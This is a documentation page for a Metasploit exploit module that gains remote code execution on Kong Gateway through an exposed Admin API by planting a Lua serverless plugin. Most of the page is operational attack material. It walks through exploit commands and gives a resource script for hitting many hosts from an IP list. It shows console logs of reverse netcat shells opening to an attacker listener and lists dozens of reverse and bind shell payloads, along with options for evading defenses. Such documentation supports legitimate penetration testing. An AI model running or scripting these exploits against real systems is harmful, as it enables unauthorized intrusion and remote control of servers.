Kong Gateway Admin API Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/kong_gateway_admin_api_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Kong Gateway Admin API Remote Code Execution
Module: exploit/multi/http/kong_gateway_admin_api_rce
Source code: modules/exploits/multi/http/kong_gateway_admin_api_rce.rb
Disclosure date: 2020-10-13
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, OSX
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8001, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module uses the Kong admin API to create a route and a serverless function plugin that is associated with the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the route is deleted, which also deletes the plugin.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
Using kong_gateway_admin_api_rce against a single host
Normally, you can use exploit/multi/http/kong_gateway_admin_api_rce this way:
msf > use exploit/multi/http/kong_gateway_admin_api_rce
msf exploit(kong_gateway_admin_api_rce) > show targets
... a list of targets ...
msf exploit(kong_gateway_admin_api_rce) > set TARGET target-id
msf exploit(kong_gateway_admin_api_rce) > show options
... show and set options ...
msf exploit(kong_gateway_admin_api_rce) > exploit
Using kong_gateway_admin_api_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your kong_gateway_admin_api_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/kong_gateway_admin_api_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Kong Gateway claims to be the "world’s most popular open source API gateway". It allows API operators to add features, such as Authentication, Traffic Control, Analytics, Transformations, Logging and even serverless functions to existing APIs.
It is open-source, can be downloaded from konghq.com and runs on Linux or macOS. Many officially supported packages are available, for example from repositories, DockerHub or AMI images for AWS.
This exploit module uses the Admin API to create a route, then assign a the
pre-function serverless plugin to that route. The plugin runs Lua code and is
used to run a system command using os.execute(). After execution, the route is then deleted, which also results in the plugin associated
with the route being deleted.
The Admin API, by default (since version 0.12.0) is bound to localhost and therefore shouldn't be available externally. It is, however, possible to remove that restriction in the configuration. The documentation states that "Kong’s routing design allows it to serve as a proxy for the Admin API itself. In this manner, Kong itself can be used to provide fine-grained access control to the Admin API."
Successfully tested against:
- Version 2.1.4
Configuring a vulnerable Environment
Run the following commands:
docker network create kong-netdocker run -d --name kong-database --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e "POSTGRES_PASSWORD=kong" postgres:9.6docker run --rm --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e "KONG_PG_PASSWORD=kong" kong:latest kong migrations bootstrapdocker run -d --name kong --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e "KONG_PG_PASSWORD=kong" -e "KONG_PROXY_ACCESS_LOG=/dev/stdout" -e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" -e "KONG_PROXY_ERROR_LOG=/dev/stderr" -e "KONG_ADMIN_ERROR_LOG=/dev/stderr" -e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" -p 8000:8000 -p 8443:8443 -p 8001:8001 -p 8444:8444 kong:latest
Note that the -p 8001:8001 and -p 8444:8444 options in step 4 will expose the Admin API on all interfaces, resulting in an
installation that is vulnerable to attack from outside systems. To expose only on the loopback interface, use
-p 127.0.0.1:8001:8001 and -p 127.0.0.1:8444:8444 instead.
Useful Links
Kong Docker Installation Instructions
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/http/kong_gateway_admin_api_rce - Do:
set rhosts <ip address of Kong Admin API host> - Do:
set lhost <ip address of metasploit machine> - If necessary, do:
set rport <port of Kong Admin API> - If necessary, do:
set ssl true - If necessary, do:
set PUBLIC-API-RHOST <ip address of Kong public API> - If necessary, do:
set set PUBLIC-API-RPORT <port of Kong public API> - If necessary, do:
run - You should get a shell.
Options
PUBLIC-API-RHOST
The IP address or hostname where the public API is available, if different to the admin API. Often the same as RHOST; If not set then
RHOST will be used for the public API (and the admin API). Optional
PUBLIC-API-RPORT
The port where the public API is available. Default: 8000
Scenarios
Kong Version 2.1.4 (public API available on same host as admin API)
In this scenario, the admin API is not bound to localhost and is therefore available externally.
$ msfconsole -q
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131
lhost => 192.168.194.131
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130
rhosts => 192.168.194.130
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:41939) at 2020-10-13 16:24:13 +0100
[*] Session 1 created in the background.
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:41939 (192.168.194.130)
Kong Version 2.1.4 (public API available on different host to admin API)
In this scenario, the admin API is bound to localhost and has been forwarded using ssh local port forwarding.
$ msfconsole -q
msf5 > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set public-api-rhost 192.168.194.130
public-api-rhost => 192.168.194.130
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z
[*] Started reverse TCP handler on 192.168.194.131:4444
[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:44705) at 2020-10-27 20:57:02 +0000
[*] Session 1 created in the background.
msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:44705 (127.0.0.1)
Go back to menu.
Msfconsole Usage
Here is how the multi/http/kong_gateway_admin_api_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/kong_gateway_admin_api_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show info
Name: Kong Gateway Admin API Remote Code Execution
Module: exploit/multi/http/kong_gateway_admin_api_rce
Platform: Linux, OSX
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-10-13
Provided by:
Graeme Robinson
Module side effects:
ioc-in-logs
config-changes
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PUBLIC-API-RHOST no The host where the public API is available, if different to RHOST
PUBLIC-API-RPORT 8000 yes The port where the public API is available
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes URI to the Kong server
VHOST no HTTP server virtual host
Payload information:
Description:
This module uses the Kong admin API to create a route and a
serverless function plugin that is associated with the route. The
plugin runs Lua code and is used to run a system command using
os.execute(). After execution the route is deleted, which also
deletes the plugin.
References:
https://konghq.com/
https://github.com/Kong/kong
https://docs.konghq.com/hub/kong-inc/serverless-functions/
Module Options
This is a complete list of options available in the multi/http/kong_gateway_admin_api_rce exploit:
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show options
Module options (exploit/multi/http/kong_gateway_admin_api_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PUBLIC-API-RHOST no The host where the public API is available, if different to RHOST
PUBLIC-API-RPORT 8000 yes The port where the public API is available
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8001 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes URI to the Kong server
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/kong_gateway_admin_api_rce exploit:
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show advanced
Module advanced options (exploit/multi/http/kong_gateway_admin_api_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/kong_gateway_admin_api_rce module can exploit:
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/kong_gateway_admin_api_rce exploit:
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/kong_gateway_admin_api_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/kong_gateway_admin_api_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response received from <PATH> when <DESCRIPTION>
Here is a relevant code snippet related to the "No response received from <PATH> when <DESCRIPTION>" error message:
58: self.class
59: )
60: end
61:
62: def check_response(response, expected, path, description)
63: fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
64: return if response.code == expected
65:
66: fail_with(Failure::UnexpectedReply,
67: "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
68: end
Route not yet available, trying again - attempt <RETRY_COUNT>/<MAXIMUM_RETRIES>
Here is a relevant code snippet related to the "Route not yet available, trying again - attempt <RETRY_COUNT>/<MAXIMUM_RETRIES>" error message:
98: check_response(response, 503, path, 'requesting route')
99: rescue Msf::Exploit::Failed
100: maximum_retries = 3
101: if retry_count <= maximum_retries
102: retry_count += 1
103: print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
104: sleep(retry_count**2)
105: retry
106: end
107: raise
108: end
Welcome to kong
Here is a relevant code snippet related to the "Welcome to kong" error message:
123: def check
124: @route_cleanup_required = false
125: # Check admin API
126: response = send_request_cgi
127: return CheckCode::Unknown unless response
128: return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'
129:
130: # Check public API
131: rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
132: rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
133: path = normalize_uri(target_uri.path, @rand_name)
no Route matched with those values
Here is a relevant code snippet related to the "no Route matched with those values" error message:
131: rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
132: rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
133: path = normalize_uri(target_uri.path, @rand_name)
134: response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
135: return CheckCode::Unknown unless response
136: return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'
137:
138: CheckCode::Appears
139: end
140:
141: def exploit
Admin API not detected
Here is a relevant code snippet related to the "Admin API not detected" error message:
139: end
140:
141: def exploit
142: @rand_name = rand_text_alphanumeric(10)
143: @route_cleanup_required = false
144: fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
145: @route_cleanup_required = true
146: create_route
147: vprint_good("Created route #{@rand_name}")
148: create_plugin
149: vprint_good("Created plugin for route #{@rand_name}")
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #14264 Merged Pull Request: Add exploit/multi/http/kong_gateway_admin_api_rce
References
- CVE: Not available
- https://konghq.com/
- https://github.com/Kong/kong
- https://docs.konghq.com/hub/kong-inc/serverless-functions/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wangkongbao_traversal
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/http/moodle_admin_shell_upload
- exploit/multi/http/phpldapadmin_query_engine
- exploit/multi/http/phpmoadmin_exec
- exploit/multi/http/phpmyadmin_3522_backdoor
- exploit/multi/http/phpmyadmin_lfi_rce
- exploit/multi/http/phpmyadmin_null_termination_exec
- exploit/multi/http/phpmyadmin_preg_replace
- exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
- exploit/multi/http/weblogic_admin_handle_rce
- exploit/multi/http/apache_apisix_api_default_token_rce
- auxiliary/scanner/http/symantec_web_gateway_login
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/http/spring_cloud_gateway_rce
- exploit/linux/http/symantec_messaging_gateway_exec
- exploit/linux/http/symantec_web_gateway_exec
- exploit/linux/http/symantec_web_gateway_file_upload
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/linux/http/symantec_web_gateway_pbcontrol
- exploit/linux/http/symantec_web_gateway_restore
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/browser/citrix_gateway_actx
- exploit/windows/http/altn_securitygateway
- exploit/windows/http/ca_igateway_debug
- exploit/windows/http/privatewire_gateway
- exploit/windows/scada/codesys_gateway_server_traversal
Authors
- Graeme Robinson
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
